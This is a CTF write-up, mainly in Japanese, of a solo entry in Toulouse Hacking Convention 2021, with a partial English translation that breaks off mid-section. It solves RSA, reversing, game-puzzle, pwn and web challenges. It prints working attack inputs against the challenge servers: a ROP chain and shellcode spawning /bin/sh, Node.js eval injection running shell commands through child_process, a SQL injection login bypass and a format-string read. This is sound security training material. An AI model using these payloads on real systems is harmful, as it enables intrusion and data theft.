Toulouse Hacking Convention 2021 Writeup

English version is in [the latter half](#about) of this page.

# 概要

[Toulouse Hacking Convention 2021](https://ctf.thcon.party/) (2021/06/12 16:00 ～ 2021/06/13 23:00 (JST)) に1人チームで参加した。
結果は1851点で、正の点数を取った374チーム中27位だった。

![Category Breakdown](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/2a84c253-0288-c83d-af5b-9ccf66b4859c.png)
![Score over Time](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/2b3bc275-1503-b99d-3754-c0026755d69e.png)

<details><summary>スコアサーバの Score over Time の表示 (時刻と点の位置の関係が不適切)</summary><div>

![Score over Time (不正確)](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/033315d0-44cf-3713-d618-3e33c9741d63.png)

</div></details>

解けた問題と時刻は以下のようになった。

|Challenge|Category|Value|Time (JST)|
|---|---|--:|---|
|Rsa internal attacker|cryptography|206|6/12 20:21:02|
|Living QR Code|programmation|50|6/12 20:30:25|
|ELF x64 - Right on Time|reverse|175|6/12 22:10:33|
|ELF x64 - BaseJumper CrackMe|reverse|203|6/12 22:17:21|
|Unsafe Math|web|226|6/12 22:29:36|
|SQL for dummies|Intro|10|6/12 23:29:19|
|My first one time pad|Intro|44|6/12 23:32:26|
|Blacklisted|Intro|49|6/13 00:06:02|
|Clairvoyance|Intro|50|6/13 01:17:34|
|Babyrop|pwn|94|6/13 02:25:47|
|TUR-ROX-Y|reverse|496|6/13 05:28:23|
|TUR-ROX-Z|reverse|247|6/13 06:44:47|
|Welcome|Intro|1|6/13 08:08:49|

# 解けた問題

## cryptography

### Rsa internal attacker

Pythonのプログラムと、出力データが与えられた。
このプログラムは、以下をするものである。

1. 1024ビットの素数2個`p, q`を作り、`n=p*q`とする
2. この`p, q`に基づき、`phi=(p-1)*(q-1)`と互いに素な適当な値`e`と、`phi`を法とする`e`の逆数`d`を2組生成する  
   この2組を`(e_a, d_a), (e_b, d_b)`とする
3. `FLAG`を`e_b`乗して`n`で割った余りを求め、`c`とする
4. `n, e_a, d_a, e_b, c`を出力する

`d_a`は`phi`を法とする`e_a`の逆数なので、適当な整数`alpha`を用いて

```
e_a * d_a = phi * alpha + 1
```

と表せる。
`p, q`は1024ビットの素数なので、`phi=(p-1)*(q-1)`は2048ビット程度になるはずである。
これに対し、`e_a * d_a - 1`の2を底とする対数は約2060.08だったので、`alpha`は12ビット程度であることがわかる。
`alpha`を`1 << 11`から`1 << 13`で全探索して与えられた`e_b`から`d_b`を求め、
`c`を`d_b`乗して`n`で割った余りを計算してみた。
その結果、多くの候補が見つかったが、その中にflagがあった。
なお、与えられたプログラムには

```py
FLAG = b"THC2021{??????????????????????????????????????}"
```

とあったが、実際のflagは`THC2021`で始まらず、これは罠だった。
なお、今回はRuleにもflagの形式は載っていなかった。

<details><summary>探索プログラム</summary><div>

```search.py
n = 0x8d926c44899930f8f3fc3ea04cb9dfa7eb309b6d8e932b531007c4d8479e1dd227365087feeced8f854b1b54cc947182ee2241fe526c758e630b44e0c196ce8dc0995124f94755b0601d3454f89f178db2ffb3adeafcac2f49b656aace2acdb63afcd62a8847aadc55ca2452dff8c65ea5bfcfe03411f3b63a2bc4b244126259e2e845c68f8c1cd2d275bd2e344d35da542503c72f153ded14f766efecdfc98605e6963c4b1a7197de9e56b4b61ca1ab648265e6775819935a005a089eff04c27083d385e8d73ebf56b47f875c5fa9984e026914e1cbfc02205e75d02dc0da392700b536bf0fc8decd043736441e69fecc696b2127589f2ac9700e30c4dc88ef
e_a = 0x8095
d_a = 0x21a31ccbce8117f468e9c26e3a404659d585ea166606c85ff192466b8dd4d9650b110addef35e3effdf8cb8710235cf5843e688e977be0d32842e0b4fa493f451ad8d77d35672696cf4373eaa0c0093a6a0baa348f790fc466be559bd90e788505b795026df6e991f6e8769565e06f472a445676e2c99240eccab25cd44433e8a083e66912c7a81c81c190470188c699c1a24dac441956b46aa364623f2c78c4ffca49e89f8a6f6edc51140e744f80a968fa80901fc91b88d491829b334542fd3ef460ddfa9a729d981b0ae9fa12bd0901c919972020b5f9e661b34a914fff85732e45718a2d216018507e7406aed4543096df76ca6fcfa4ab5dd21a84f162fd
e_b = 0x22bb
c = 0x2118ee5b546b529c6b8d8fba1638f046006d7de2c10571d179af958f65d223a9a78df91daa5913f39f97d47681e1e10b8c58b6b462caf1fd56c683129ea732927cf55a06441cde5b743d00582569c9bbf43dab3d7b46ddbf03b358ca6ee075bafcc06165efa8592474bf78732dec4433502579338f2b925a922e74704cf19f7dff414a451fbc24b4ace4a9d8a072fb4259ebc8452941eb9f100f1df0cf19d5718088867a17d52d1c3f1fd5f92c9b9c55cbe528fbfd130879c14bde651a9e402f50b851c753e5915882b02a1136b43e015c6d4fd07e48aa05be08e9faf533a763f21d29a9b7fe8f355a8ffcbf11dc96b1069df4e302a3b310ecf39f25300bb375

# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
	if b == 0:
		return (1, 0)
	s, t = kago(b, a % b)
	return (t, s - (a // b) * t)

x = e_a * d_a
key = "0x544843323032317b"

for i in range(1 << 11, 1 << 13):
	if (x - 1) % i == 0:
		candidate = (x - 1) // i
		if x % candidate == 1:
			d_candidate, _ = kago(e_b, candidate)
			if (d_candidate * e_b) % candidate == 1:
				decrypted = pow(c, d_candidate, n)
				hex_d = hex(decrypted)
				if True or hex_d[0:len(key)] == key:
					print ("i = " + str(i))
					print("candidate = " + str(candidate))
					print(hex(decrypted))
```

</div></details>

このプログラムは計算結果を16進数で出力するので、[CyberChef](https://gchq.github.io/CyberChef/)の From Hex で文字列にした。

```
THCon21{coMm0n_m0duLus_wh1th_int3rn4l_aTt4ck3r}
```

## pwn

### Babyrop

TCPサーバの接続情報と、そこで動いているELFファイルが与えられた。
ELFファイルをTDM-GCCの`objdump`で逆アセンブルして観察した結果、以下の関数を実行していた。

<details><summary>実行している関数</summary><div>

```
0000000000401196 <main_function>:
  401196:	f3 0f 1e fa          	endbr64 
  40119a:	55                   	push   %rbp
  40119b:	48 89 e5             	mov    %rsp,%rbp
  40119e:	48 83 ec 20          	sub    $0x20,%rsp
  4011a2:	48 8d 3d 79 0e 00 00 	lea    0xe79(%rip),%rdi        # 402022 <_IO_stdin_used+0x22>
  4011a9:	e8 c2 fe ff ff       	callq  401070 <puts@plt>
  4011ae:	48 8b 15 ab 2e 00 00 	mov    0x2eab(%rip),%rdx        # 404060 <stdin@@GLIBC_2.2.5>
  4011b5:	48 8d 45 e0          	lea    -0x20(%rbp),%rax
  4011b9:	be 00 01 00 00       	mov    $0x100,%esi
  4011be:	48 89 c7             	mov    %rax,%rdi
  4011c1:	e8 ba fe ff ff       	callq  401080 <fgets@plt>
  4011c6:	90                   	nop
  4011c7:	c9                   	leaveq 
  4011c8:	c3                   	retq   
```

</div></details>

これは、まず`puts`で文字列を出力した後、`fgets`を用いて0x20バイトの領域に0x100バイトまで読み込む関数である。
さらに、`.plt.sec`には`execve`関数 (0x401090) が用意されていた。
また、バイナリ中には

```
This might be useful: /bin/sh
```

として`/bin/sh`という文字列がファイル中の0x201Aバイト目(0-origin)から埋め込まれていた。

問題名からROPをすることが期待されており、`execve("/bin/sh", 0, 0)`を実行できればいいことが起こりそうだ。
gadgetを探した所、

```
12c3 : pop rdi; ret
12c1 : pop rsi; pop r15; ret
```

が見つかったが、第3引数の`rdx`に値を書き込めそうな部分は見つからなかった。
[CS50 IDE](https://ide.cs50.io/) のGDB上で試した所、明示的にセットしなくても`rdx`には0が入りそうだったので、
`rdx`のセットは省略してデータを送ることにした。
具体的には、以下のデータを[TCP/IPテストツール](http://nonsoft.la.coocan.jp/Download/SocketTool/index.html)で送った。

```
0123456789abcdef0123456789abcdef (バッファを埋める適当なデータ)
########                         (古いRBPの分の適当なデータ)
<c3><12><40><00><00><00><00><00> (pop rdi; ret のアドレス)
<1a><20><40><00><00><00><00><00> (rdi にセットする値)
<c1><12><40><00><00><00><00><00> (pop rsi; pop r15; ret のアドレス)
<00><00><00><00><00><00><00><00> (rsi にセットする値)
<00><00><00><00><00><00><00><00> (r15 にセットする値)
<90><10><40><00><00><00><00><00> (execve 関数のアドレス)
<LF>                             (fgets 関数による読み込みを終了させる)
```

1行にすると

```
0123456789abcdef0123456789abcdef########<c3><12><40><00><00><00><00><00><1a><20><40><00><00><00><00><00><c1><12><40><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><90><10><40><00><00><00><00><00><LF>
```

これを送信した結果、シェルの操作が可能になり、`cat flag.txt`コマンドによりflagが得られた。

```
THCon21{4Ll_0f_Th47_t0_c0ntR0L-RDx?!??}
```

## reverse

### ELF x64 - Right on Time

ELFファイルが与えられた。
TDM-GCCの`objdump`で逆アセンブルして観察した結果、`main`関数は以下の処理をしていた。

1. `movb`命令を用い、スタック上にランダムな順番でデータを構築する
2. `time`関数で時刻を取得し、下位32ビットを反転(ビットNOT)する
3. 第1コマンドライン引数を`atoi`関数で数値に変換する
4. 2と3の結果が一致した場合、"the flag"と称して謎の文字列を出力する。

以下のプログラムを用いて逆アセンブル結果から`movb`命令で構築されているデータを復元した結果、
0x00区切りで以下の3個のデータが得られた。

```
4B5A4357515244434749324853544B594F524C45344D44514A424B455157535A4D455957593654424746424559544B454D524B5536524C504F354957595753454C4959575936535A4B354A464B57544B4C4532564533525148553D3D3D3D3D3D
n*ICE-4uRVZ}}6TuqY&x-i+h%*Z8_@B`OhEy=T3|PeQ.Hmo>v)CuI/gkSx|%m7Xzz5eBPpkk5wU4nvMZdM(LS>nl_cIINw5Hdpsv;MU$+ktdCam{D1k>*lnZZ$qe:x`]>6M-St(r)@|M}j{$f6t>443O(/b{0I?-A9PqMm$eU!Z[-Bx$V@65QIaeTuD)cX1CX>gZG@<4`-3^!taoob:+W. 9H
6
```

<details><summary>データを復元するプログラム</summary><div>

```parse.pl
#!/usr/bin/perl

use strict;
use warnings;

my @data = ();

while (my $line = <STDIN>) {
	if ($line =~ /movb +\$(0x[0-9a-fA-F]+),-(0x[0-9a-fA-F]+)\(\%rbp\)/) {
		push(@data, "$2\t$1");
	}
}

my @data_s = sort {
	my ($a1, $a2) = split(/\t/, $a);
	my ($b1, $b2) = split(/\t/, $b);
	return hex($b1) <=> hex($a1);
} @data;

my @ress = ();
my $res = "";

for (my $i = 0; $i < @data_s; $i++) {
	print "$data_s[$i]\n";
	my ($pos, $value) = split(/\t/, $data_s[$i]);
	my $ivalue = hex($value);
	if ($ivalue == 0) {
		push(@ress, $res);
		$res = "";
	} else {
		$res .= chr($ivalue);
	}
}

push(@ress, $res);

for (my $i = 0; $i < @ress; $i++) {
	print "$ress[$i]\n";
}
```

</div></summary>

"the flag"と称して出力されるのは、このうち`4B5A`で始まる文字列であった。
[CyberChef](https://gchq.github.io/CyberChef/)でこの文字列に From Hex と Magic をかけたところ、flagが得られた。
Magic の Recipe は

```
From_Base32('A-Z2-7=',false)
From_Base64('A-Za-z0-9+/=',true)
```

となった。

```
THCon21{U7JGLvXkYskPK07T8J0BVCgYsadTf69F}
```

### ELF x64 - BaseJumper CrackMe

ELFファイルが与えられた。
TDM-GCCの`objdump`で逆アセンブルして観察した結果、
問題 ELF x64 - Right on Time のものに似た大量の`movb`命令が出てきた。
そこで、この問題と同様にデータを復元したところ、以下の文字列が得られた。

```
4B5A4357515244434749324853544B594F524A46474D4B4F4B5252464B564A544B4E4B4751534443495A484553563258474649464F564C494A5A53554B3342534A354C54533453574B5634454D564B46474646464D57425148553D3D3D3D3D3D
@^TfvjUZ/<Br2N[a*x#5iPB6wFk7=^#>[^zQ.:L($#2gZ{@#}8L4sT!QmZ@Zoz3v!;^3,B9M@Mg.:. y0$-utkB4kL^js;TB(XAf%g[j YMF}=nh0=0zbex <o]y9lr;|fSlk`G?:Wx^B,YRz+rv]23kq8Qro>[5GXMQL?9U}3B% W1-;=^~&nhHg,i;<XDM5:~odeLj@~o*OA{OW})1gu
K
```

このうち`4B5A`で始まる文字列に対し、同様に[CyberChef](https://gchq.github.io/CyberChef/)で From Hex と Magic をかけたところ、flagが得られた。

```
THCon21{QKSSmE7I8GlSHYmOYHMxIv9okULEPMIU}
```

### TUR-ROX-Z

ファイル `THCON21Z.ZZT` が与えられた。

問題 TUR-ROX-Y と同様にゲームを起動すると、以下の画面になった。
![ゲーム初期画面](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/342b32a9-a4dd-ca89-8e2c-70eafd412459.png)
右の白い人に触ると、integrated level editor があることを教えてくれた。
上の黄色い人に触ると、flagを見つけられなければ全宇宙が巻き戻る的な話をしてくれた。

上に行くと、以下の画面になった。
![上の画面](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/25ebd682-aff3-652d-a6c9-989e1bfab2e9.png)
左に行くと、以下の画面になった。
![左の画面](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/2466cdbd-3ef6-1a2e-bac3-429a9e3fc02d.png)
さらに左に行くと、以下の画面になった。
![さらに左の画面](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/4e86425f-cda9-02ce-70be-7fde7928b1ca.png)

どうやら、上の画面の謎を解かないといけないようだ。
ここで、integrated level editor があるという情報と、言語のリファレンスが紹介されているということに注目した。
結論から言えば、上の画面を編集モードで開き、設定を見たり手を加えたりすることで、謎解きの手がかりになった。

画面中央の`?`のまわりを囲っている黄色い壁を消すことで、`?`に触れるようになり、これで状態を見ることができる。
右側の赤で囲まれた黒い四角の中には、編集モードだと隠された壁とオブジェクトがあることがわかったので、
それぞれ見えるように書き換えた。
また、それぞれの`!`、逆向きの`!`、左側の顔にプログラムが割り当てられていたので、チェックした。

青い部分では、左側の逆向きの`!`を押すとGemが1ずつ増える。
右側の逆向きの`!`を押すと、一度目はGemが4個減り、二度目に押した時にGemが0個ならば成功状態になる。
よって、左側の逆向きの`!`を4回押した後、右側の逆向きの`!`を2回押せばよい。

赤い部分では、左側の逆向きの`!`を押すと右側の四角の中のオブジェクトが上に1マス、
右側の逆向きの`!`を押すと右側の四角の中のオブジェクトが右に1マス動く。
これらを用い、オブジェクトを右上の行き止まりまで動かすことで、成功状態になる。
すなわち、左側を2回、右側を4回、左側を2回、右側を2回の順で押せばよい。

緑の部分では、リファレンスも参考にしつつプログラムを読み解くことを要求された。
左側の逆向きの`!`を押すと、`#zap Checker12:lblMulti`が実行される。
右側の逆向きの`!`を押すと、`#restore Checker12:lblMulti`が実行される。
さらに、左の顔に触ると、`Checker12`に`lblMulti`が送られる。
`Checker12`とは上の`!`のことであり、以下のプログラムが割り当てられている。

<details><summary>`Checker12` のプログラム</summary><div>

```
@Checker12
#end

:lblMulti
#set flagOkA1
#zap lblMulti
#send lblMulti
' "set OK A1"
#end

:lblMulti
:lblMulti
:lblMulti
:lblMulti
:lblMulti
:lblMulti
#set flagFailA
' "pwnz 2 zzzz
#send GlobCheck:lblBack12
#end

:lblMulti
#set flagOkA2
' "gg  !"
#send GlobCheck:lblBack12
#end

:lblMulti
:lblMulti
#set flagFailA
' "pwnz last"
#send GlobCheck:lblBack12
#end
```

</div></details>

リファレンスより、`#zap`はラベル(`:`で始まる行)1個をコメントにして無効化するコマンド、
`#restore`は無効化されたラベル1個を復活させるコマンドである。
結論としては、

1. 左の逆向きの`!`を7回押し、`#set flagOkA2`の前の`:lblMulti`を露出させる
2. 右の逆向きの`!`を1回押し、最初の`:lblMulti`を復活させる
3. 他の部分の状態を整え、左側の顔を押す

という操作をすることで、`#set flagOkA1`と`#set flagOkA2`の両方を通り、成功状態にできた。

最終的には以下の状態で正解となり、
最初の画面の文字とこの状態でのそれぞれの逆向きの`!`の位置を組み合わせることで、flagが得られた。

![正解の状態](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/11e988b2-19e5-8ad7-b30a-abe4692119ce.png)

```
THCon21{Z824753}
```

### TUR-ROX-Y

ファイル `THCON21Y.ZZT` が与えられた。

まず、「zzt」でググった結果、MS-DOSのゲームであることがわかった。
[ZZT - Wikipedia](https://en.wikipedia.org/wiki/ZZT)
本体は [GitHub - asiekierka/reconstruction-of-zzt: The Reconstruction of ZZT](https://github.com/asiekierka/reconstruction-of-zzt)
動かすためのエミュレータは [zeta](https://zeta.asie.pl/)
で入手できた。
zetaを解凍したディレクトリに、ゲーム本体を解凍したデータと問題のファイルを入れて動かす。

ゲームを起動すると、以下の画面になった。
![ゲーム初期画面](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/9769aac6-91d4-6347-4ed0-2679942be440.png)
右に行くと、以下の画面になった。
![右の画面](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/930d87ed-caf6-3a35-63d4-137dc4d98066.png)
上に行くと、以下の画面になった。なお、時間が経つと画面が崩れていった。
![上の画面](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/52e48e54-030b-6bb3-be7c-58e1a30bedfa.png)
下に行くと、以下の画面になった。なお、左下のhashの情報は時間が経つと崩れた。
![下の画面](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/3b104c9f-695e-941b-7302-4b387530928a.png)
ここからさらに左に行くと、以下のような感じで26ページにわたってコードが表示される場所になっていた。
![コードの表示画面](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/3647d584-2702-968a-fcd5-6f3a9babf8c0.png)
そこで、このコード(PuzzleScript)を気合で写経した。

下の画面の情報を参考に、
[PuzzleScript - an open-source HTML5 puzzle game engine](https://www.puzzlescript.net/)
を開いて Make A Game を押し、開いた画面の左側に写経したコードを貼り付けて画面上部の RUN を押すことで、
また別のゲームが始まった。
これは、8個のスイッチを操作するとそれに対応して上にある5個の絵が変わるので、
うまくスイッチを操作して5個全部を紫にするというゲームである。
最初の面は手動で試行錯誤することでクリアできたが、次はなかなか突破できなそうだった。
そこで、[Hot Soup Processor](http://hsp.tv/)を利用し、キーボード操作を自動化してスイッチのパターンを全探索した。
この全探索では、常に1ビット切り替えるだけで次の状態へ行ける[グレイコード](https://ja.wikipedia.org/wiki/%E3%82%B0%E3%83%AC%E3%82%A4%E3%82%B3%E3%83%BC%E3%83%89)を利用することで、
切り替え操作の手間を減らした。

<details><summary>全探索(自動操作)プログラム</summary><div>

プレイヤーが右端のスイッチの下にいる状態でこのプログラムを起動し、
3秒以内にキー操作がゲームに伝わる状態にする。

```zentan.hsp
#include "hspext.as"

gsel 0, 2

mes "start after 3 sec."
wait 300

aplfocus

KEY_LEFT = 37
KEY_UP = 38
KEY_RIGHT = 39

x = 7
value = 0

for i, 0, 256, 1
	target = i ^ (i >> 1)
	for j, 0, 8, 1
		if (((target ^ value) >> (7 - j)) & 1) != 0 {
			while x > j
				aplkey KEY_LEFT
				x = x - 1
				wait 1
			wend
			while x < j
				aplkey KEY_RIGHT
				x = x + 1
				wait 1
			wend
			aplkey KEY_UP
			wait 1
		}
	next
	value = target
	title strf("%3d", i) + " / " + strf("%02X", target)
	wait 50
next
```

</div></details>

このゲームは3面あり、それぞれ以下の状態が正解であった。

|ステージ1|ステージ2|ステージ3|
|:-:|:-:|:-:|
|![ステージ1](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/39e4b669-051b-1f86-7d9d-57c0c0d0704b.png)|![ステージ2](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/da1699e9-2102-fe0c-dbb3-342af9bf2c47.png)|![ステージ3](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/45b8995b-efd1-9223-9d34-ca807361170b.png)|

ゲーム内のメッセージに従い、ここまで得られた情報を以下の位置に組み合わせることで、flagが得られた。

* 最初の画面：`THCon21{Y...}`
* PuzzleScriptを改行コードLF、最後の改行なしにした時のSHA-256ハッシュの最後の2文字：`THCon21{-95----}`
* ゲームのステージ2クリア時の表示：`THCon21{---E5--}`
* ゲームのステージ3クリア時の表示：`THCon21{-----CD}`

```
THCon21{Y95E5CD}
```

## Windows

残念ながら解けた問題は無かった。

## steganography

残念ながら解けた問題は無かった。

## web

### Unsafe Math

WebページのURLと、そのページのサーバのプログラム `index.js` が与えられた。
Webページには、`width`と`height`の入力欄(`type="number"`)と、Submitボタンがあった。
`index.js` は、データがPOSTされた時、
`width.length`と`height.length`がそれぞれ10以下かをチェックした上で、
`eval('(' + width + '**2 + ' + height + '**2) ** (1/2);')`の評価結果を返すものだった。

[San Diego CTF 2021 の GETS Request](https://github.com/acmucsd/sdctf-2021/tree/main/web/gets-request) で学んだように、
`length`プロパティは配列を渡すと1になり、チェックを無効化できる。

[Node.jsからシェルコマンドを実行する - BppLOG](https://tkybpp.hatenablog.com/entry/2016/04/25/163246)
より、`execSync`関数を使うことで、コマンドを実行して結果を受け取れるようである。

これを利用してコマンドを実行し、調査を行った。
まず、フォームの

```html
<input name="width" type="number" min="0">
```

を、Firefoxの開発者ツールで

```html
<input name="width[]" type="text" min="0">
```

に書き換えた。
この欄に

```
require('child_process').execSync("ls /")).toString() + (1
```

を、`height`の欄には`1`を入れてSubmitボタンを押すことで、`ls /`の実行結果を得ることができた。
以下、`height`の欄には`1`を入れることにする。
実行結果には`chall`があったため、次に`width[]`の欄に

```
require('child_process').execSync("ls /chall")).toString() + (1
```

を入れてSubmitボタンを押し、`ls /chall`の実行結果を得た。
その中に`sec9et_fl46.txt`があったため、`width[]`の欄に

```
require('fs').readFileSync("/chall/sec9et_fl46.txt", "utf-8")).toString() + (1
```

を入れて送信することで、このファイルを読み、flagを得ることができた。
ファイルの読み方については、ここが参考になる。
[[node.js] テキストファイルを読みこみ - Qiita](https://qiita.com/amanatsu5151/items/0d2e7ba8d31f3eece660)

```
THCon21{t34cHiN6_1s_N0t_sO_3@sY}
```

## app script

残念ながら解けた問題は無かった。

## programmation

### Living QR Code

ファイル `living_QR.gif` が与えられた。
これはGIFアニメーションであった。

[Giam](https://www.vector.co.jp/soft/win95/art/se041233.html)で開いてみると、41コマあり、各コマにそれぞれ1個ずつQRコードがあった。
[Psytec QR Code Editor](http://www.psytec.co.jp/docomo.html) を用いて手動で1コマずつ読み取り、結果を順番に並べることで、flagが得られた。

```
THCon21{Ba5ukumqmZIVJ2onznXkfY61YS7Cxdi6}
```

「QRコード」は(株)デンソーウェーブの登録商標です。

## Intro

### Welcome

Discordの招待リンクが与えられた。
Webブラウザからサーバに参加してflagを探したところ、
チャンネル`#📄-règles`および`#📄-rules`の画面上部と「始まりです。」の右にflagが書かれていた。
画面上部をクリックすると、flagがコピーできる形で表示された。

```
THCon21{H31l0_th3re!}
```

### SQL for dummies

WebページのURLが与えられた。
Webページは、

* Username の入力欄
* Password の入力欄
* Log In ボタン

からなるフォームだった。

Usernameに `' or 1=1 --` 、Passwordに `a` を入力して Log In ボタンを押すと、flagが表示された。

```
THCon21{eA3y*QL_1nject0R}
```

### My first one time pad

以下のファイル `plaintext.txt` および `encrypted.txt` が与えられた。

```plaintext.txt
I encrypted a secret flag with one time pad, the result here: 092224674e49392d631f0f5611124274193157441a2e5c2d494e1c1c2d560b204751
```

```encrypted.txt
064e004e171b141554150544414900450a1c4500480303131e00070c060e450c1a49003d491e0d4f050d000c48151e000007161655181c45480e171c1a4f
```

また、問題文は

> I encrypt my flag with a secret key, unfortunately I also encrypted the whole file with the same key could you retrieve the flag ?

とのことである。

ワンタイムパッドでの暗号化は平文と鍵のxorのはずなので、暗号文と平文をxorすれば鍵が出てくる。

[CyberChef](https://gchq.github.io/CyberChef/)を用い、Input を `plaintext.txt` の内容として、

1. Keyを`encrypted.txt`の内容(HEX)としてXOR
2. Keyを`plaintext.txt`の`the result here:`の後のやつ(HEX)としてXOR

をすることで、flagが得られた。

```
THCon21{1Tp_w0rK3_0nly_0nC3}
```

### Blacklisted

TCPサーバの接続情報と、そこで動いているELFファイルが与えられた。
ELFファイルをTDM-GCCの`objdump`で逆アセンブルして読むと、以下の処理をしているようだった。

1. メッセージを出力する
2. `read`関数を用いて入力を読み込む
3. `strncpy`関数を用いて入力をコピーする
4. `check_blacklist`関数で入力のコピーをチェックする
5. チェックが通れば、`callq`命令で入力のコピーを実行する

また、ELFファイルをバイナリエディタで開くと、以下の文字列が見えた。

```
/bin/
/tmp/
flag.txt
sh
[-] Error while allocating shellcode area
Please feed me (%d bytes max): 
[-] Error while reading input.
```

このことから、シェルコードの入力を求められており、
かつ入力が`/bin/`、`/tmp/`、`flag.txt`、`sh`のいずれかを含むと弾かれそうだと推測できた。
さらに、`strncpy`を用いているため、バイト0x00を含むと切れてしまうことにも注意が必要である。

これらを踏まえ、以下のシェルコードを[NASM](https://www.nasm.us/)でアセンブルし、
[Tera Term](https://ttssh2.osdn.jp/)のファイル送信(ファイルの内容を貼り付け) (バイナリ)で送ることで、シェルの操作が可能になった。
さらに、コマンド `cat flag.txt` を実行することで、flagが得られた。

<details><summary>シェルコード</summary><div>

```shellcode.asm
bits 64
mov rax, 0x2F62696E2F736820 ; /bin/sh
sub rax, 0x20
bswap rax
push rax
mov al, 59
movzx eax, al
mov rdi, rsp
xor esi, esi
xor edx, edx
syscall
```

アセンブル結果:

```
48 b8 20 68 73 2f 6e 69 62 2f 48 83 e8 20 48 0f
c8 50 b0 3b 0f b6 c0 48 89 e7 31 f6 31 d2 0f 05
```

</div></details>

```
THCon21{w3ll_s0_y0u_sp34K_P4r53l70ngu3??}
```

### Clairvoyance

TCPサーバの接続情報と、そこで動いているELFファイルが与えられた。
ELFファイルをTDM-GCCの`objdump`を逆アセンブルして読むと、以下の処理をするものだった。

1. `read_flag`関数を呼び出し、`flag.txt`の内容を0x404080番地に読み込む
2. `fgets`関数を呼び出し、スタック上に0x1fバイトまで読み込む
3. `fgets`関数を呼び出し、スタック上に0x7バイトまで読み込む
4. 2番目に読み込んだ内容が`yes`であれば、最初に読み込んだ内容を`printf`関数の第1引数に渡す

2のところで

```
%p%p%p%p%p%p%p%p%p%p%p%p%p%p
```

を入れると、以下の出力が得られた。 (見やすいように改行を補っている)

```
0x7fff68c0a370
0x7fc2287088c0
(nil)
0x1f
0x7fc2287088d0
0x7fff68c0cb38
0x100401365
0x7fc22871cb40
0xa736579
0x7025702570257025
0x7025702570257025
0x7025702570257025
0xa70257025
0x401320
```

ここで、10番目から入力した内容が見えていることに注目する。
入力した内容はスタックに置かれるため、`printf`関数が出力する内容を読み出す場所と被っているのである。
この性質の発見には、ここが参考になった。
[日記: CTF やってみた(３)｜zk_phi｜note](https://note.com/zk_phi/n/nc77f077017d7)

`printf`の第1引数は文字列であるため0x00のバイトで止まることに注意し、[TCP/IPテストツール](http://nonsoft.la.coocan.jp/Download/SocketTool/index.html)で

```
%11$s###<80><40><40><00><00><00><00><00><LF>
```

を送ったところ、flagが得られた。

```
THCon21{y0u_jUsT__n33d_t0_0p3n_Y0uR_3y35!}
```

# About

I participated in [Toulouse Hacking Convention 2021](https://ctf.thcon.party/) (June 12, 2021 16:00 - June 13, 2021 23:00 (JST: UTC+9)) as a one-person team.
I earned 1851 points and ranked 27th among 374 teams that earned positive score.

![Category Breakdown](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/2a84c253-0288-c83d-af5b-9ccf66b4859c.png)
![Score over Time](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/2b3bc275-1503-b99d-3754-c0026755d69e.png)

<details><summary>The Score over Time on the system (the relation between the time and plotting points is not good)</summary><div>

![Score over Time (not good)](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/033315d0-44cf-3713-d618-3e33c9741d63.png)

</div></details>

Challenges I solved and time that I solved them on are:

|Challenge|Category|Value|Time (JST: UTC+9)|
|---|---|--:|---|
|Rsa internal attacker|cryptography|206|6/12 20:21:02|
|Living QR Code|programmation|50|6/12 20:30:25|
|ELF x64 - Right on Time|reverse|175|6/12 22:10:33|
|ELF x64 - BaseJumper CrackMe|reverse|203|6/12 22:17:21|
|Unsafe Math|web|226|6/12 22:29:36|
|SQL for dummies|Intro|10|6/12 23:29:19|
|My first one time pad|Intro|44|6/12 23:32:26|
|Blacklisted|Intro|49|6/13 00:06:02|
|Clairvoyance|Intro|50|6/13 01:17:34|
|Babyrop|pwn|94|6/13 02:25:47|
|TUR-ROX-Y|reverse|496|6/13 05:28:23|
|TUR-ROX-Z|reverse|247|6/13 06:44:47|
|Welcome|Intro|1|6/13 08:08:49|

# Challenges I solved

## cryptography

### Rsa internal attacker

A Python program and its output data were given.
The program does the following:

1. Generate two 1024-bit prime numbers `p, q` and set `n=p*q`
2. Using these `p, q`, generate two pairs of a random value `e` which is co-prime to `phi=(p-1)*(q-1)` and `d` which is a reciprocal of `d` modulo `phi`. Name these pairs as `(e_a, d_a)` and `(e_b, d_b)`.
3. Calculate `FLAG` to the `e_b`-th power modulo `n` and name it as `c`.
4. Output `n, e_a, d_a, e_b, c`.

Since `d_a` is a reciprocal of `e_a` modulo `phi`, it can be expressed using some integer `alpha`:

```
e_a * d_a = phi * alpha + 1
```

`p` and `q` are 1024-bit prime numbers, so `phi=(p-1)*(q-1)` should be around 2048 bits.
On the other hand, the binary logarithm of `e_a * d_a - 1` was about 2060.08, so the `alpha` should be about 12 bits.
Seeing this, I obtained `d_b` from the `e_b` given and calculated `c` to the `d_b`-th power modulo `n` using each `alpha` from `1 << 11` to `1 << 13`.
Many candidates were found by that, and one of them was the flag.

By the way, the program given had a line:

```py
FLAG = b"THC2021{??????????????????????????????????????}"
```

but the actual flag didn't begin with `THC2021`.
Also the format of the flag was not in the Rule.

<details><summary>The program to search for the proper `alpha`</summary><div>

```search.py
